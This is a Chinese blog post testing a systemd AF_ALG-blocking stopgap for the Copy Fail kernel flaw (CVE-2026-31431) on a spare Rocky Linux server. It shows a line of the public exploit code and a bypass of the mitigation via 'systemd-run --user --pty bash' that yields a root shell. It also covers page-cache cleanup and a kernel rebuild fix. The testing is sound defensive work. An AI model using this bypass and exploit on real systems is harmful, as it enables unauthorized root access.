正如上一条动态所说,生产环境并不是那么方便全量重启,工作群里讨论的时候,同事提出了一个不需要重启系统的临时封堵措施:
mkdir -p /etc/systemd/system/sshd.service.d
cat > /etc/systemd/system/sshd.service.d/cve-2026-31431.conf << EOF
[Service]
RestrictAddressFamilies=~AF_ALG
EOF
systemctl daemon-reload
systemctl restart sshd
初看上去有一定道理,通过禁止sshd服务及其子进程创建AF_ALG类型的socket来阻止用户利用Copy Fail漏洞。但Rabi总觉得不太靠谱,于是在集群中找了一台备用的服务器来尝试突破这一封堵措施。
正在突入
生产环境运行的是Rocky Linux 8.8。使用theori-io/copy-fail-CVE-2026-31431提供的copy_fail_exp.py,直接执行python3 copy_fail_exp.py会得到以下报错:
Traceback (most recent call last):
File "copy_fail_exp.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
File "copy_fail_exp.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
AttributeError: module 'os' has no attribute 'splice'
这只是因为系统自带Python 3.6版本太老所致,普通用户有一万种办法给自己搞一个高版本python,这里就用现成的uv部署一个虚拟环境:
uv venv --python=3.12
source .venv/bin/activate
再次尝试,结果如何呢?
Traceback (most recent call last):
File "/home/rabi/copy_fail_exp.py", line 9, in <module>
while i<len(e):c(f,i,e[i:i+4]);i+=4
^^^^^^^^^^^^^^^
File "/home/rabi/copy_fail_exp.py", line 5, in c
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
^^^^^^^^^^^^^^^^
File "/home/rabi/.local/share/uv/python/cpython-3.12.13-linux-x86_64-gnu/lib/python3.12/socket.py", line 233, in __init__
_socket.socket.__init__(self, family, type, proto, fileno)
OSError: [Errno 97] Address family not supported by protocol
看起来这个临时措施的确阻止了SSH用户利用Copy Fail漏洞?但Rabi有别的看法:既然sshd的子进程无法创建AF_ALG socket,那只要设法脱离sshd的范围,就能重新把漏洞暴露出来。
具体来说,可以利用systemd-run,创建一个从属于/user.slice/user-<uid>.slice/user@<uid>.service而非/system.slice/sshd.service的shell:
(rabi) [rabi@some-server ~]$ systemd-run --user --pty bash
Running as unit: run-u82.service
Press ^] three times within 1s to disconnect TTY.
[rabi@some-server ~]$
之前加载的虚拟环境没了,重新加载,然后执行漏洞利用:
[rabi@some-server ~]$ source .venv/bin/activate
(rabi) [rabi@some-server ~]$ python3 copy_fail_exp.py
[root@some-server rabi]# exit
这次就成功拿到了root shell,证明该方案不够严密。不过也并非毫无价值,毕竟能拦住拿着copy_fail_exp.py到处尝试运行的脚本小子们,也算是起了一定作用了。
收拾残局
返回正常终端之后,Rabi突然发现因为刚才的漏洞利用,现在任何用户执行su都会立刻获得root shell,大呼不妙,只好再次进入root shell来消除残留影响。
出现这个情况的原因,是Copy Fail漏洞篡改具有suid的程序(示例中是/usr/bin/su)在内存中的页缓存,使其直接创建root shell。即使什么都没有做就退出了这个root shell,被污染的二进制程序缓存仍在内存中,任何其他用户调用/usr/bin/su都会使用内存中的缓存,并像漏洞利用者一样直接取得root shell。要纠正这一残留,只需要强制让操作系统丢弃页缓存即可:
[root@some-server rabi]# sync
[root@some-server rabi]# echo 3 > /proc/sys/vm/drop_caches
此时再回到普通用户,su的行为就正常了。因为硬盘上的su二进制文件并未被篡改,丢弃页缓存重新从硬盘上读入就会恢复正常。
后记
临时缓解办法先按下不表,真正需要解决的问题是由于一些软件的约束,生产环境内核的版本不能改变,也就无法直接更新到后续发布的修复版本。现在看来值得考虑的是利用仓库里的内核源码和config,修改为CONFIG_CRYPTO_USER_API_AEAD=n重新编译一个同名内核来替代。理论上在不动版本号的情况下,就不需要级联地重新编译其他软件的内核模块了。

文章评论